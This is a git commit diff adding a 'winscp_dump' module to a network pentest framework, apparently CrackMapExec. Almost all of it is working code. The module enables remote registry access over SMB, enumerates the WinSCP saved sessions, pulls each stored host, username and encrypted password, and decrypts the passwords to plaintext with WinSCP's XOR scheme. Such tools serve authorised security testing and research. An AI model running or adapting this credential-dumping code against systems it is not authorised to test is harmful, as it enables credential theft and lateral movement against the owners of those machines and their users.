Add winscp registry extraction

main
Alexander Neff 2022-12-28 19:56:00 +01:00 committed by mpgn
parent 02f43dc287
commit ca988744f0
1 changed files with 152 additions and 23 deletions

View File

@ -2,15 +2,17 @@
# -*- coding: utf-8 -*-
# If you are looking for a local Version, the baseline code is from https://github.com/NeffIsBack/WinSCPPasswdExtractor
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from urllib.parse import unquote
class CMEModule:
'''
Example
Module by @NeffIsBack
'''
name = 'winscp_dump'
description = 'The module looks for WinSCP.ini files in the registry
and default locations and tries to extract credentials.'
description = 'Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials.'
supported_protocols = ['smb']
opsec_safe= True
multiple_hosts = True
@ -21,24 +23,151 @@ class CMEModule:
Default: 'C:\\Users\\{u}\\AppData\\Roaming\\WinSCP.ini',
'C:\\Users\\{u}\\Documents\\WinSCP.ini'
"""
pass
if 'SEACH_PATH' in module_options:
self.filepath = module_options['SEACH_PATH']
else:
self.filepath = ""
self.PW_MAGIC = 0xA3
self.PW_FLAG = 0xFF
# ==================== Helper ====================
def printCreds(self, context, session):
if type(session) is str:
context.log.error(session)
else:
context.log.highlight("======={s}=======".format(s=session[0]))
context.log.highlight("HostName: {s}".format(s=session[1]))
context.log.highlight("UserName: {s}".format(s=session[2]))
context.log.highlight("Password: {s}".format(s=session[3]))
# ==================== Decrypt Password ====================
def decryptPasswd(self, context, host: str, username: str, password: str) -> str:
key = username + host
# transform password to bytes
passBytes = []
for i in range(len(password)):
val = int(password[i], 16)
passBytes.append(val)
pwFlag, passBytes = self.dec_next_char(passBytes)
pwLength = 0
# extract password length and trim the passbytes
if pwFlag == self.PW_FLAG:
_, passBytes = self.dec_next_char(passBytes)
pwLength, passBytes = self.dec_next_char(passBytes)
else:
pwLength = pwFlag
to_be_deleted, passBytes = self.dec_next_char(passBytes)
passBytes = passBytes[to_be_deleted * 2:]
# decrypt the password
clearpass = ""
for i in range(pwLength):
val, passBytes = self.dec_next_char(passBytes)
clearpass += chr(val)
if pwFlag == self.PW_FLAG:
clearpass = clearpass[len(key):]
return clearpass
def dec_next_char(self, passBytes) -> tuple[int, bytes]:
"""
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
Parameters
----------
passBytes : bytes
The password bytes
"""
if not passBytes:
return 0, passBytes
a = passBytes[0]
b = passBytes[1]
passBytes = passBytes[2:]
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xff, passBytes
# ==================== Handle Registry ====================
def registrySessionExtractor(self, context, connection, sessionName):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenCurrentUser(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'Software\\Martin Prikryl\\WinSCP 2\\Sessions\\' + sessionName)
keyHandle = ans['phkResult']
except:
traceback.print_exc()
hostName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'HostName')[1].split('\x00')[:-1][0]
userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UserName')[1].split('\x00')[:-1][0]
try:
password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'Password')[1].split('\x00')[:-1][0]
except:
context.log.debug("Session found but no Password is stored!")
password = ""
if password:
decPassword = self.decryptPasswd(context, hostName, userName, password)
else:
decPassword = "NO_PASSWORD_FOUND"
sectionName = unquote(hostName)
return [sessionName, hostName, userName, decPassword]
except:
traceback.print_exc()
finally:
remoteOps.finish()
return "ERROR IN SESSION EXTRACTION"
def registryDiscover(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
# Retrieve how many sessions are stored in registry
try:
ans = rrp.hOpenCurrentUser(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'Software\\Martin Prikryl\\WinSCP 2\\Sessions')
keyHandle = ans['phkResult']
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
sessions = data['lpcSubKeys']
context.log.success("Found {} sessions in registry!".format(sessions - 1))
# Get Session Names
sessionNames = []
for i in range(sessions):
sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
sessionNames.remove('Default%20Settings')
# Extract stored Session infos
for sessionName in sessionNames:
self.printCreds(context, self.registrySessionExtractor(context, connection, sessionName))
except:
context.log.error("No WinSCP config found in registry")
traceback.print_exc()
finally:
remoteOps.finish()
# ==================== Handle Configs ====================
def on_login(self, context, connection):
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
pass
def on_admin_login(self, context, connection):
'''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
pass
def on_request(self, context, request):
'''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
pass
def on_response(self, context, response):
'''Optional. If the payload sends back its output to our server, add this function to the module to handle its output'''
pass
def on_shutdown(self, context, connection):
'''Optional. Do something on shutdown'''
pass
#context.log.error("Hello World")
#context.log.info("Info")
#context.log.highlight("HIGHLIGHT")
#context.log.success("SUCCESS")
self.registryDiscover(context, connection)